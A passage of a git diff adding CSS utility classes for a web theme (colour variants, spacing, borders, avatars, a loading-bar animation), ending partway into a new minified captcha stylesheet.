+.bg-dark.auto .list-group-item:focus, +.bg-dark .auto .list-group-item:focus, +.bg-dark.auto .list-group-item:active, +.bg-dark .auto .list-group-item:active, +.bg-dark.auto .list-group-item.active, +.bg-dark .auto .list-group-item.active { + background-color: #2e3344 !important; +} + +.bg-black { + color: #7793a7; + background-color: #1c2b36; +} + +.bg-black.lt, +.bg-black .lt { + background-color: #263845; +} + +.bg-black.lter, +.bg-black .lter { + background-color: #314554; +} + +.bg-black.dk, +.bg-black .dk { + background-color: #131e26; +} + +.bg-black.dker, +.bg-black .dker { + background-color: #0a1015; +} + +.bg-black.bg, +.bg-black .bg { + background-color: #1c2b36; +} + +.bg-black a { + color: #96abbb; +} + +.bg-black a:hover { + color: #ffffff; +} + +.bg-black a.list-group-item:hover, +.bg-black a.list-group-item:focus { + background-color: inherit; +} + +.bg-black .nav > li:hover > a, +.bg-black .nav > li:focus > a, +.bg-black .nav > li.active > a { + color: #ffffff; + background-color: #131e26; +} + +.bg-black .nav > li > a { + color: #869fb1; +} + +.bg-black .nav > li > a:hover, +.bg-black .nav > li > a:focus { + background-color: #16232d; +} + +.bg-black .nav .open > a { + background-color: #131e26; +} + +.bg-black .caret { + border-top-color: #7793a7; + border-bottom-color: #7793a7; +} + +.bg-black.navbar .nav > li.active > a { + color: #ffffff; + background-color: #131e26; +} + +.bg-black .open > a, +.bg-black .open > a:hover, +.bg-black .open > a:focus { + color: #ffffff; +} + +.bg-black .text-muted { + color: #5c798f !important; +} + +.bg-black .text-lt { + color: #c4d0d9 !important; +} + +.bg-black.auto .list-group-item, +.bg-black .auto .list-group-item { + background-color: transparent; + border-color: #131e25 !important; +} + +.bg-black.auto .list-group-item:hover, +.bg-black .auto .list-group-item:hover, +.bg-black.auto .list-group-item:focus, +.bg-black .auto .list-group-item:focus, +.bg-black.auto .list-group-item:active, +.bg-black .auto .list-group-item:active, +.bg-black.auto .list-group-item.active, +.bg-black .auto .list-group-item.active { + background-color: #131e26 !important; +} + +.bg-primary { + color: #f4f3f9; + background-color: #7266ba; +} + +.bg-primary.lt, +.bg-primary .lt { + background-color: #847abf; +} + +.bg-primary.lter, +.bg-primary .lter { + background-color: #958dc6; +} + +.bg-primary.dk, +.bg-primary .dk { + background-color: #6051b5; +} + +.bg-primary.dker, +.bg-primary .dker { + background-color: #5244a9; +} + +.bg-primary.bg, +.bg-primary .bg { + background-color: #7266ba; +} + +.bg-primary a { + color: #ffffff; +} + +.bg-primary a:hover { + color: #ffffff; +} + +.bg-primary a.list-group-item:hover, +.bg-primary a.list-group-item:focus { + background-color: inherit; +} + +.bg-primary .nav > li:hover > a, +.bg-primary .nav > li:focus > a, +.bg-primary .nav > li.active > a { + color: #ffffff; + background-color: #6051b5; +} + +.bg-primary .nav > li > a { + color: #f2f2f2; +} + +.bg-primary .nav > li > a:hover, +.bg-primary .nav > li > a:focus { + background-color: #6658b8; +} + +.bg-primary .nav .open > a { + background-color: #6051b5; +} + +.bg-primary .caret { + border-top-color: #f4f3f9; + border-bottom-color: #f4f3f9; +} + +.bg-primary.navbar .nav > li.active > a { + color: #ffffff; + background-color: #6051b5; +} + +.bg-primary .open > a, +.bg-primary .open > a:hover, +.bg-primary .open > a:focus { + color: #ffffff; +} + +.bg-primary .text-muted { + color: #d6d3e6 !important; +} + +.bg-primary .text-lt { + color: #ffffff !important; +} + +.bg-primary.auto .list-group-item, +.bg-primary .auto .list-group-item { + background-color: transparent; + border-color: #6254b2 !important; +} + +.bg-primary.auto .list-group-item:hover, +.bg-primary .auto .list-group-item:hover, +.bg-primary.auto .list-group-item:focus, +.bg-primary .auto .list-group-item:focus, +.bg-primary.auto .list-group-item:active, +.bg-primary .auto .list-group-item:active, +.bg-primary.auto .list-group-item.active, +.bg-primary .auto .list-group-item.active { + background-color: #6051b5 !important; +} + +.bg-success { + color: #c6efd0; + background-color: #27c24c; +} + +.bg-success.lt, +.bg-success .lt { + background-color: #31d257; +} + +.bg-success.lter, +.bg-success .lter { + background-color: #48d46a; +} + +.bg-success.dk, +.bg-success .dk { + background-color: #20af42; +} + +.bg-success.dker, +.bg-success .dker { + background-color: #1a9c39; +} + +.bg-success.bg, +.bg-success .bg { + background-color: #27c24c; +} + +.bg-success a { + color: #eefaf1; +} + +.bg-success a:hover { + color: #ffffff; +} + +.bg-success a.list-group-item:hover, +.bg-success a.list-group-item:focus { + background-color: inherit; +} + +.bg-success .nav > li:hover > a, +.bg-success .nav > li:focus > a, +.bg-success .nav > li.active > a { + color: #ffffff; + background-color: #20af42; +} + +.bg-success .nav > li > a { + color: #daf5e0; +} + +.bg-success .nav > li > a:hover, +.bg-success .nav > li > a:focus { + background-color: #22b846; +} + +.bg-success .nav .open > a { + background-color: #20af42; +} + +.bg-success .caret { + border-top-color: #c6efd0; + border-bottom-color: #c6efd0; +} + +.bg-success.navbar .nav > li.active > a { + color: #ffffff; + background-color: #20af42; +} + +.bg-success .open > a, +.bg-success .open > a:hover, +.bg-success .open > a:focus { + color: #ffffff; +} + +.bg-success .text-muted { + color: #9ee4af !important; +} + +.bg-success .text-lt { + color: #ffffff !important; +} + +.bg-success.auto .list-group-item, +.bg-success .auto .list-group-item { + background-color: transparent; + border-color: #23ad44 !important; +} + +.bg-success.auto .list-group-item:hover, +.bg-success .auto .list-group-item:hover, +.bg-success.auto .list-group-item:focus, +.bg-success .auto .list-group-item:focus, +.bg-success.auto .list-group-item:active, +.bg-success .auto .list-group-item:active, +.bg-success.auto .list-group-item.active, +.bg-success .auto .list-group-item.active { + background-color: #20af42 !important; +} + +.bg-info { + color: #dcf2f8; + background-color: #23b7e5; +} + +.bg-info.lt, +.bg-info .lt { + background-color: #3dbde5; +} + +.bg-info.lter, +.bg-info .lter { + background-color: #55c3e6; +} + +.bg-info.dk, +.bg-info .dk { + background-color: #16aad8; +} + +.bg-info.dker, +.bg-info .dker { + background-color: #1199c4; +} + +.bg-info.bg, +.bg-info .bg { + background-color: #23b7e5; +} + +.bg-info a { + color: #ffffff; +} + +.bg-info a:hover { + color: #ffffff; +} + +.bg-info a.list-group-item:hover, +.bg-info a.list-group-item:focus { + background-color: inherit; +} + +.bg-info .nav > li:hover > a, +.bg-info .nav > li:focus > a, +.bg-info .nav > li.active > a { + color: #ffffff; + background-color: #16aad8; +} + +.bg-info .nav > li > a { + color: #f2f2f2; +} + +.bg-info .nav > li > a:hover, +.bg-info .nav > li > a:focus { + background-color: #17b2e2; +} + +.bg-info .nav .open > a { + background-color: #16aad8; +} + +.bg-info .caret { + border-top-color: #dcf2f8; + border-bottom-color: #dcf2f8; +} + +.bg-info.navbar .nav > li.active > a { + color: #ffffff; + background-color: #16aad8; +} + +.bg-info .open > a, +.bg-info .open > a:hover, +.bg-info .open > a:focus { + color: #ffffff; +} + +.bg-info .text-muted { + color: #b0e1f1 !important; +} + +.bg-info .text-lt { + color: #ffffff !important; +} + +.bg-info.auto .list-group-item, +.bg-info .auto .list-group-item { + background-color: transparent; + border-color: #19a9d5 !important; +} + +.bg-info.auto .list-group-item:hover, +.bg-info .auto .list-group-item:hover, +.bg-info.auto .list-group-item:focus, +.bg-info .auto .list-group-item:focus, +.bg-info.auto .list-group-item:active, +.bg-info .auto .list-group-item:active, +.bg-info.auto .list-group-item.active, +.bg-info .auto .list-group-item.active { + background-color: #16aad8 !important; +} + +.bg-warning { + color: #fffefa; + background-color: #fad733; +} + +.bg-warning.lt, +.bg-warning .lt { + background-color: #f8da4e; +} + +.bg-warning.lter, +.bg-warning .lter { + background-color: #f7de69; +} + +.bg-warning.dk, +.bg-warning .dk { + background-color: #fcd417; +} + +.bg-warning.dker, +.bg-warning .dker { + background-color: #face00; +} + +.bg-warning.bg, +.bg-warning .bg { + background-color: #fad733; +} + +.bg-warning a { + color: #ffffff; +} + +.bg-warning a:hover { + color: #ffffff; +} + +.bg-warning a.list-group-item:hover, +.bg-warning a.list-group-item:focus { + background-color: inherit; +} + +.bg-warning .nav > li:hover > a, +.bg-warning .nav > li:focus > a, +.bg-warning .nav > li.active > a { + color: #ffffff; + background-color: #fcd417; +} + +.bg-warning .nav > li > a { + color: #f2f2f2; +} + +.bg-warning .nav > li > a:hover, +.bg-warning .nav > li > a:focus { + background-color: #fcd621; +} + +.bg-warning .nav .open > a { + background-color: #fcd417; +} + +.bg-warning .caret { + border-top-color: #fffefa; + border-bottom-color: #fffefa; +} + +.bg-warning.navbar .nav > li.active > a { + color: #ffffff; + background-color: #fcd417; +} + +.bg-warning .open > a, +.bg-warning .open > a:hover, +.bg-warning .open > a:focus { + color: #ffffff; +} + +.bg-warning .text-muted { + color: #fbf2cb !important; +} + +.bg-warning .text-lt { + color: #ffffff !important; +} + +.bg-warning.auto .list-group-item, +.bg-warning .auto .list-group-item { + background-color: transparent; + border-color: #f9d21a !important; +} + +.bg-warning.auto .list-group-item:hover, +.bg-warning .auto .list-group-item:hover, +.bg-warning.auto .list-group-item:focus, +.bg-warning .auto .list-group-item:focus, +.bg-warning.auto .list-group-item:active, +.bg-warning .auto .list-group-item:active, +.bg-warning.auto .list-group-item.active, +.bg-warning .auto .list-group-item.active { + background-color: #fcd417 !important; +} + +.bg-danger { + color: #ffffff; + background-color: #f05050; +} + +.bg-danger.lt, +.bg-danger .lt { + background-color: #f06a6a; +} + +.bg-danger.lter, +.bg-danger .lter { + background-color: #f18282; +} + +.bg-danger.dk, +.bg-danger .dk { + background-color: #f13636; +} + +.bg-danger.dker, +.bg-danger .dker { + background-color: #f21b1b; +} + +.bg-danger.bg, +.bg-danger .bg { + background-color: #f05050; +} + +.bg-danger a { + color: #ffffff; +} + +.bg-danger a:hover { + color: #ffffff; +} + +.bg-danger a.list-group-item:hover, +.bg-danger a.list-group-item:focus { + background-color: inherit; +} + +.bg-danger .nav > li:hover > a, +.bg-danger .nav > li:focus > a, +.bg-danger .nav > li.active > a { + color: #ffffff; + background-color: #f13636; +} + +.bg-danger .nav > li > a { + color: #f2f2f2; +} + +.bg-danger .nav > li > a:hover, +.bg-danger .nav > li > a:focus { + background-color: #f13f3f; +} + +.bg-danger .nav .open > a { + background-color: #f13636; +} + +.bg-danger .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} + +.bg-danger.navbar .nav > li.active > a { + color: #ffffff; + background-color: #f13636; +} + +.bg-danger .open > a, +.bg-danger .open > a:hover, +.bg-danger .open > a:focus { + color: #ffffff; +} + +.bg-danger .text-muted { + color: #e6e6e6 !important; +} + +.bg-danger .text-lt { + color: #ffffff !important; +} + +.bg-danger.auto .list-group-item, +.bg-danger .auto .list-group-item { + background-color: transparent; + border-color: #ee3939 !important; +} + +.bg-danger.auto .list-group-item:hover, +.bg-danger .auto .list-group-item:hover, +.bg-danger.auto .list-group-item:focus, +.bg-danger .auto .list-group-item:focus, +.bg-danger.auto .list-group-item:active, +.bg-danger .auto .list-group-item:active, +.bg-danger.auto .list-group-item.active, +.bg-danger .auto .list-group-item.active { + background-color: #f13636 !important; +} + +.bg-white { + color: #58666e; + background-color: #fff; +} + +.bg-white a { + color: #363f44; +} + +.bg-white a:hover { + color: #1f2427; +} + +.bg-white .text-muted { + color: #98a6ad !important; +} + +.bg-white .lt, +.bg-white .lter, +.bg-white .dk, +.bg-white .dker { + background-color: #fff; +} + +.bg-white-only { + background-color: #fff; +} + +.bg-white-opacity { + background-color: rgba(255, 255, 255, 0.5); +} + +.bg-black-opacity { + background-color: rgba(32, 43, 54, 0.5); +} + +a.bg-light:hover { + color: #363f44; +} + +a.bg-primary:hover { + background-color: #6254b2; +} + +a.text-primary:hover { + color: #6254b2; +} + +.text-primary { + color: #7266ba; +} + +.text-primary-lt { + color: #8278c2; +} + +.text-primary-lter { + color: #9289ca; +} + +.text-primary-dk { + color: #6254b2; +} + +.text-primary-dker { + color: #564aa3; +} + +a.bg-info:hover { + background-color: #19a9d5; +} + +a.text-info:hover { + color: #19a9d5; +} + +.text-info { + color: #23b7e5; +} + +.text-info-lt { + color: #3abee8; +} + +.text-info-lter { + color: #51c6ea; +} + +.text-info-dk { + color: #19a9d5; +} + +.text-info-dker { + color: #1797be; +} + +a.bg-success:hover { + background-color: #23ad44; +} + +a.text-success:hover { + color: #23ad44; +} + +.text-success { + color: #27c24c; +} + +.text-success-lt { + color: #2ed556; +} + +.text-success-lter { + color: #43d967; +} + +.text-success-dk { + color: #23ad44; +} + +.text-success-dker { + color: #1e983b; +} + +a.bg-warning:hover { + background-color: #f9d21a; +} + +a.text-warning:hover { + color: #f9d21a; +} + +.text-warning { + color: #fad733; +} + +.text-warning-lt { + color: #fbdc4c; +} + +.text-warning-lter { + color: #fbe165; +} + +.text-warning-dk { + color: #f9d21a; +} + +.text-warning-dker { + color: #f4ca06; +} + +a.bg-danger:hover { + background-color: #ee3939; +} + +a.text-danger:hover { + color: #ee3939; +} + +.text-danger { + color: #f05050; +} + +.text-danger-lt { + color: #f26767; +} + +.text-danger-lter { + color: #f47f7f; +} + +.text-danger-dk { + color: #ee3939; +} + +.text-danger-dker { + color: #ec2121; +} + +a.bg-dark:hover { + background-color: #2f3342; +} + +a.text-dark:hover { + color: #2f3342; +} + +.text-dark { + color: #3a3f51; +} + +.text-dark-lt { + color: #454b60; +} + +.text-dark-lter { + color: #4f566f; +} + +.text-dark-dk { + color: #2f3342; +} + +.text-dark-dker { + color: #252833; +} + +a.bg-#000000:hover { + background-color: #131e25; +} + +a.text-#000000:hover { + color: #131e25; +} + +.text-#000000 { + color: #1c2b36; +} + +.text-#000000-lt { + color: #253847; +} + +.text-#000000-lter { + color: #2d4658; +} + +.text-#000000-dk { + color: #131e25; +} + +.text-#000000-dker { + color: #0b1014; +} + +.text-white { + color: #fff; +} + +.text-black { + color: #000; +} + +.text-muted { + color: #98a6ad; +} + +.pos-rlt { + position: relative; +} + +.pos-stc { + position: static !important; +} + +.pos-abt { + position: absolute; +} + +.pos-fix { + position: fixed; +} + +.show { + visibility: visible; +} + +.line { + width: 100%; + height: 2px; + margin: 10px 0; + overflow: hidden; + font-size: 0; +} + +.line-xs { + margin: 0; +} + +.line-lg { + margin-top: 15px; + margin-bottom: 15px; +} + +.line-dashed { + background-color: transparent; + border-style: dashed !important; + border-width: 0; +} + +.no-line { + border-width: 0; +} + +.no-border, +.no-borders { + border-color: transparent; + border-width: 0; +} + +.no-radius { + border-radius: 0; +} + +.block { + display: block; +} + +.block.hide { + display: none; +} + +.inline { + display: inline-block !important; +} + +.none { + display: none; +} + +.pull-none { + float: none; +} + +.rounded { + border-radius: 500px; +} + +.clear { + display: block; + overflow: hidden; +} + +.no-bg { + color: inherit; + background-color: transparent; +} + +.no-select { + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-touch-callout: none; +} + +.l-h { + line-height: 1.42857143; +} + +.l-h-0x { + line-height: 0; +} + +.l-h-1x { + line-height: 1.2; +} + +.l-h-2x { + line-height: 2em; +} + +.l-s-1x { + letter-spacing: 1; +} + +.l-s-2x { + letter-spacing: 2; +} + +.l-s-3x { + letter-spacing: 3; +} + +.font-normal { + font-weight: normal; +} + +.font-thin { + font-weight: 300; +} + +.font-bold { + font-weight: 700; +} + +.text-3x { + font-size: 3em; +} + +.text-2x { + font-size: 2em; +} + +.text-lg { + font-size: 18px; +} + +.text-md { + font-size: 16px; +} + +.text-base { + font-size: 14px; +} + +.text-sm { + font-size: 13px; +} + +.text-xs { + font-size: 12px; +} + +.text-xxs { + text-indent: -9999px; +} + +.text-ellipsis { + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.text-u-c { + text-transform: uppercase; +} + +.text-l-t { + text-decoration: line-through; +} + +.text-u-l { + text-decoration: underline; +} + +.text-active, +.active > .text, +.active > .auto .text { + display: none !important; +} + +.active > .text-active, +.active > .auto .text-active { + display: inline-block !important; +} + +.box-shadow { + box-shadow: 0 2px 2px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(0, 0, 0, 0.05); +} + +.box-shadow-lg { + box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.05); +} + +.text-shadow { + font-size: 170px; + text-shadow: 0 1px 0 #dee5e7, 0 2px 0 #fcfdfd, 0 5px 10px rgba(0, 0, 0, 0.125), 0 10px 20px rgba(0, 0, 0, 0.2); +} + +.no-shadow { + -webkit-box-shadow: none !important; + box-shadow: none !important; +} + +.wrapper-xs { + padding: 5px; +} + +.wrapper-sm { + padding: 10px; +} + +.wrapper { + padding: 15px; +} + +.wrapper-md { + padding: 20px; +} + +.wrapper-lg { + padding: 30px; +} + +.wrapper-xl { + padding: 50px; +} + +.padder-lg { + padding-right: 30px; + padding-left: 30px; +} + +.padder-md { + padding-right: 20px; + padding-left: 20px; +} + +.padder { + padding-right: 15px; + padding-left: 15px; +} + +.padder-v { + padding-top: 15px; + padding-bottom: 15px; +} + +.no-padder { + padding: 0 !important; +} + +.pull-in { + margin-right: -15px; + margin-left: -15px; +} + +.pull-out { + margin: -10px -15px; +} + +.b { + border: 1px solid rgba(0, 0, 0, 0.05); +} + +.b-a { + border: 1px solid #dee5e7; +} + +.b-t { + border-top: 1px solid #dee5e7; +} + +.b-r { + border-right: 1px solid #dee5e7; +} + +.b-b { + border-bottom: 1px solid #dee5e7; +} + +.b-l { + border-left: 1px solid #dee5e7; +} + +.b-light { + border-color: #edf1f2; +} + +.b-dark { + border-color: #3a3f51; +} + +.b-black { + border-color: #3a3f51; +} + +.b-primary { + border-color: #7266ba; +} + +.b-success { + border-color: #27c24c; +} + +.b-info { + border-color: #23b7e5; +} + +.b-warning { + border-color: #fad733; +} + +.b-danger { + border-color: #f05050; +} + +.b-white { + border-color: #ffffff; +} + +.b-dashed { + border-style: dashed !important; +} + +.b-l-light { + border-left-color: #edf1f2; +} + +.b-l-dark { + border-left-color: #3a3f51; +} + +.b-l-black { + border-left-color: #3a3f51; +} + +.b-l-primary { + border-left-color: #7266ba; +} + +.b-l-success { + border-left-color: #27c24c; +} + +.b-l-info { + border-left-color: #23b7e5; +} + +.b-l-warning { + border-left-color: #fad733; +} + +.b-l-danger { + border-left-color: #f05050; +} + +.b-l-white { + border-left-color: #ffffff; +} + +.b-l-2x { + border-left-width: 2px; +} + +.b-l-3x { + border-left-width: 3px; +} + +.b-l-4x { + border-left-width: 4px; +} + +.b-l-5x { + border-left-width: 5px; +} + +.b-2x { + border-width: 2px; +} + +.b-3x { + border-width: 3px; +} + +.b-4x { + border-width: 4px; +} + +.b-5x { + border-width: 5px; +} + +.r { + border-radius: 2px 2px 2px 2px; +} + +.r-2x { + border-radius: 4px; +} + +.r-3x { + border-radius: 6px; +} + +.r-l { + border-radius: 2px 0 0 2px; +} + +.r-r { + border-radius: 0 2px 2px 0; +} + +.r-t { + border-radius: 2px 2px 0 0; +} + +.r-b { + border-radius: 0 0 2px 2px; +} + +.m-xxs { + margin: 2px 4px; +} + +.m-xs { + margin: 5px; +} + +.m-sm { + margin: 10px; +} + +.m { + margin: 15px; +} + +.m-md { + margin: 20px; +} + +.m-lg { + margin: 30px; +} + +.m-xl { + margin: 50px; +} + +.m-n { + margin: 0 !important; +} + +.m-l-none { + margin-left: 0 !important; +} + +.m-l-xs { + margin-left: 5px; +} + +.m-l-sm { + margin-left: 10px; +} + +.m-l { + margin-left: 15px; +} + +.m-l-md { + margin-left: 20px; +} + +.m-l-lg { + margin-left: 30px; +} + +.m-l-xl { + margin-left: 40px; +} + +.m-l-xxl { + margin-left: 50px; +} + +.m-l-n-xxs { + margin-left: -1px; +} + +.m-l-n-xs { + margin-left: -5px; +} + +.m-l-n-sm { + margin-left: -10px; +} + +.m-l-n { + margin-left: -15px; +} + +.m-l-n-md { + margin-left: -20px; +} + +.m-l-n-lg { + margin-left: -30px; +} + +.m-l-n-xl { + margin-left: -40px; +} + +.m-l-n-xxl { + margin-left: -50px; +} + +.m-t-none { + margin-top: 0 !important; +} + +.m-t-xxs { + margin-top: 1px; +} + +.m-t-xs { + margin-top: 5px; +} + +.m-t-sm { + margin-top: 10px; +} + +.m-t { + margin-top: 15px; +} + +.m-t-md { + margin-top: 20px; +} + +.m-t-lg { + margin-top: 30px; +} + +.m-t-xl { + margin-top: 40px; +} + +.m-t-xxl { + margin-top: 50px; +} + +.m-t-n-xxs { + margin-top: -1px; +} + +.m-t-n-xs { + margin-top: -5px; +} + +.m-t-n-sm { + margin-top: -10px; +} + +.m-t-n { + margin-top: -15px; +} + +.m-t-n-md { + margin-top: -20px; +} + +.m-t-n-lg { + margin-top: -30px; +} + +.m-t-n-xl { + margin-top: -40px; +} + +.m-t-n-xxl { + margin-top: -50px; +} + +.m-r-none { + margin-right: 0 !important; +} + +.m-r-xxs { + margin-right: 1px; +} + +.m-r-xs { + margin-right: 5px; +} + +.m-r-sm { + margin-right: 10px; +} + +.m-r { + margin-right: 15px; +} + +.m-r-md { + margin-right: 20px; +} + +.m-r-lg { + margin-right: 30px; +} + +.m-r-xl { + margin-right: 40px; +} + +.m-r-xxl { + margin-right: 50px; +} + +.m-r-n-xxs { + margin-right: -1px; +} + +.m-r-n-xs { + margin-right: -5px; +} + +.m-r-n-sm { + margin-right: -10px; +} + +.m-r-n { + margin-right: -15px; +} + +.m-r-n-md { + margin-right: -20px; +} + +.m-r-n-lg { + margin-right: -30px; +} + +.m-r-n-xl { + margin-right: -40px; +} + +.m-r-n-xxl { + margin-right: -50px; +} + +.m-b-none { + margin-bottom: 0 !important; +} + +.m-b-xxs { + margin-bottom: 1px; +} + +.m-b-xs { + margin-bottom: 5px; +} + +.m-b-sm { + margin-bottom: 10px; +} + +.m-b { + margin-bottom: 15px; +} + +.m-b-md { + margin-bottom: 20px; +} + +.m-b-lg { + margin-bottom: 30px; +} + +.m-b-xl { + margin-bottom: 40px; +} + +.m-b-xxl { + margin-bottom: 50px; +} + +.m-b-n-xxs { + margin-bottom: -1px; +} + +.m-b-n-xs { + margin-bottom: -5px; +} + +.m-b-n-sm { + margin-bottom: -10px; +} + +.m-b-n { + margin-bottom: -15px; +} + +.m-b-n-md { + margin-bottom: -20px; +} + +.m-b-n-lg { + margin-bottom: -30px; +} + +.m-b-n-xl { + margin-bottom: -40px; +} + +.m-b-n-xxl { + margin-bottom: -50px; +} + +.avatar { + position: relative; + display: block; + white-space: nowrap; + border-radius: 500px; +} + +.avatar img { + width: 100%; + border-radius: 500px; +} + +.avatar i { + position: absolute; + top: 0; + left: 0; + width: 10px; + height: 10px; + margin: 2px; + border-style: solid; + border-width: 2px; + border-radius: 100%; +} + +.avatar i.right { + right: 0; + left: auto; +} + +.avatar i.bottom { + top: auto; + right: 0; + bottom: 0; + left: auto; +} + +.avatar i.left { + top: auto; + bottom: 0; +} + +.avatar i.on { + background-color: #27c24c; +} + +.avatar i.off { + background-color: #98a6ad; +} + +.avatar i.busy { + background-color: #f05050; +} + +.avatar i.away { + background-color: #fad733; +} + +.avatar.thumb-md i { + width: 12px; + height: 12px; + margin: 3px; +} + +.avatar.thumb-sm i { + margin: 1px; +} + +.avatar.thumb-xs i { + margin: 0; +} + +.w-1x { + width: 1em; +} + +.w-2x { + width: 2em; +} + +.w-3x { + width: 3em; +} + +.w-xxs { + width: 60px; +} + +.w-xs { + width: 90px; +} + +.w-sm { + width: 150px; +} + +.w { + width: 200px; +} + +.w-md { + width: 240px; +} + +.w-lg { + width: 280px; +} + +.w-xl { + width: 320px; +} + +.w-xxl { + width: 360px; +} + +.w-full { + width: 100%; +} + +.w-auto { + width: auto; +} + +.h-auto { + height: auto; +} + +.h-full { + height: 100%; +} + +.thumb-xl { + display: inline-block; + width: 128px; +} + +.thumb-lg { + display: inline-block; + width: 96px; +} + +.thumb-md { + display: inline-block; + width: 64px; +} + +.thumb { + display: inline-block; + width: 50px; +} + +.thumb-sm { + display: inline-block; + width: 40px; +} + +.thumb-xs { + display: inline-block; + width: 34px; +} + +.thumb-xxs { + display: inline-block; + width: 30px; +} + +.thumb-wrapper { + padding: 2px; + border: 1px solid #dee5e7; +} + +.thumb img, +.thumb-xs img, +.thumb-sm img, +.thumb-md img, +.thumb-lg img, +.thumb-btn img { + height: auto; + max-width: 100%; + vertical-align: middle; +} + +.img-full { + width: 100%; +} + +.img-full img { + width: 100%; +} + +.scrollable { + overflow-x: hidden; + overflow-y: auto; + -webkit-overflow-scrolling: touch; +} + +.scrollable.hover { + overflow-y: hidden !important; +} + +.scrollable.hover:hover { + overflow: visible !important; + overflow-y: auto !important; +} + +.smart .scrollable { + overflow-y: auto !important; +} + +.scroll-x, +.scroll-y { + overflow: hidden; + -webkit-overflow-scrolling: touch; +} + +.scroll-y { + overflow-y: auto; +} + +.scroll-x { + overflow-x: auto; +} + +.hover-action { + display: none; +} + +.hover-rotate { + -webkit-transition: all 0.2s ease-in-out 0.1s; + transition: all 0.2s ease-in-out 0.1s; +} + +.hover-anchor:hover > .hover-action, +.hover-anchor:focus > .hover-action, +.hover-anchor:active > .hover-action { + display: inherit; +} + +.hover-anchor:hover > .hover-rotate, +.hover-anchor:focus > .hover-rotate, +.hover-anchor:active > .hover-rotate { + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); +} + +.backdrop { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; +} + +.backdrop.fade { + opacity: 0; + filter: alpha(opacity=0); +} + +.backdrop.in { + opacity: 0.8; + filter: alpha(opacity=80); +} + +/*desktop*/ + +@media screen and (min-width: 992px) { + .col-lg-2-4 { + float: left; + width: 20.000%; + } +} + +@media (min-width: 768px) and (max-width: 991px) { + .hidden-sm.show { + display: inherit !important; + } + .no-m-sm { + margin: 0 !important; + } +} + +/*phone*/ + +@media (max-width: 767px) { + .w-auto-xs { + width: auto; + } + .shift { + display: none !important; + } + .shift.in { + display: block !important; + } + .row-2 [class*="col"] { + float: left; + width: 50%; + } + .row-2 .col-0 { + clear: none; + } + .row-2 li:nth-child(odd) { + margin-left: 0; + clear: left; + } + .text-center-xs { + text-align: center; + } + .text-left-xs { + text-align: left; + } + .text-right-xs { + text-align: right; + } + .no-border-xs { + border-width: 0; + } + .pull-none-xs { + float: none !important; + } + .pull-right-xs { + float: right !important; + } + .pull-left-xs { + float: left !important; + } + .dropdown-menu.pull-none-xs { + left: 0; + } + .hidden-xs.show { + display: inherit !important; + } + .wrapper-lg, + .wrapper-md { + padding: 15px; + } + .padder-lg, + .padder-md { + padding-right: 15px; + padding-left: 15px; + } + .no-m-xs { + margin: 0 !important; + } +} + +.butterbar { + position: relative; + height: 3px; + margin-bottom: -3px; +} + +.butterbar .bar { + position: absolute; + width: 100%; + height: 0; + text-indent: -9999px; + background-color: #23b7e5; +} + +.butterbar .bar:before { + position: absolute; + right: 50%; + left: 50%; + height: 3px; + background-color: inherit; + content: ""; +} + +.butterbar.active { + -webkit-animation: changebar 2.25s infinite 0.75s; + -moz-animation: changebar 2.25s infinite 0.75s; + animation: changebar 2.25s infinite 0.75s; +} + +.butterbar.active .bar { + -webkit-animation: changebar 2.25s infinite; + -moz-animation: changebar 2.25s infinite; + animation: changebar 2.25s infinite; +} + +.butterbar.active .bar:before { + -webkit-animation: movingbar 0.75s infinite; + -moz-animation: movingbar 0.75s infinite; + animation: movingbar 0.75s infinite; +} + +/* Moving bar */ + +@-webkit-keyframes movingbar { + 0% { + right: 50%; + left: 50%; + } + 99.9% { + right: 0; + left: 0; + } + 100% { + right: 50%; + left: 50%; + } +} + +@-moz-keyframes movingbar { + 0% { + right: 50%; + left: 50%; + } + 99.9% { + right: 0; + left: 0; + } + 100% { + right: 50%; + left: 50%; + } +} + +@keyframes movingbar { + 0% { + right: 50%; + left: 50%; + } + 99.9% { + right: 0; + left: 0; + } + 100% { + right: 50%; + left: 50%; + } +} + +/* change bar */ + +@-webkit-keyframes changebar { + 0% { + background-color: #23b7e5; + } + 33.3% { + background-color: #23b7e5; + } + 33.33% { + background-color: #fad733; + } + 66.6% { + background-color: #fad733; + } + 66.66% { + background-color: #7266ba; + } + 99.9% { + background-color: #7266ba; + } +} + +@-moz-keyframes changebar { + 0% { + background-color: #23b7e5; + } + 33.3% { + background-color: #23b7e5; + } + 33.33% { + background-color: #fad733; + } + 66.6% { + background-color: #fad733; + } + 66.66% { + background-color: #7266ba; + } + 99.9% { + background-color: #7266ba; + } +} + +@keyframes changebar { + 0% { + background-color: #23b7e5; + } + 33.3% { + background-color: #23b7e5; + } + 33.33% { + background-color: #fad733; + } + 66.6% { + background-color: #fad733; + } + 66.66% { + background-color: #7266ba; + } + 99.9% { + background-color: #7266ba; + } +} \ No newline at end of file diff --git a/user/assets/css/captcha.css b/user/assets/css/captcha.css new file mode 100644 index 0000000..068a09e --- /dev/null +++ b/user/assets/css/captcha.css @@ -0,0 +1 @@ +#captcha_text{height:42px;width:100%;text-align:center;border-radius:2px;background-color:#F3F3F3;color:#BBBBBB;font-size:14px;letter-spacing:0.1px;line-height:42px}#captcha_wait{display:none;height:42px;width:100%;text-align:center;border-radius:2px;background-color:#F3F3F3}.loading{margin:auto;width:70px;height:20px}.loading-dot{float:left;width:8px;height:8px;margin:18px 4px;background:#ccc;-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%;opacity:0;-webkit-box-shadow:0 0 2px black;-moz-box-shadow:0 0 2px black;-ms-box-shadow:0 0 2px black;-o-box-shadow:0 0 2px black;box-shadow:0 0 2px black;-webkit-animation:loadingFade 1s infinite;-moz-animation:loadingFade 1s infinite;animation:loadingFade 1s 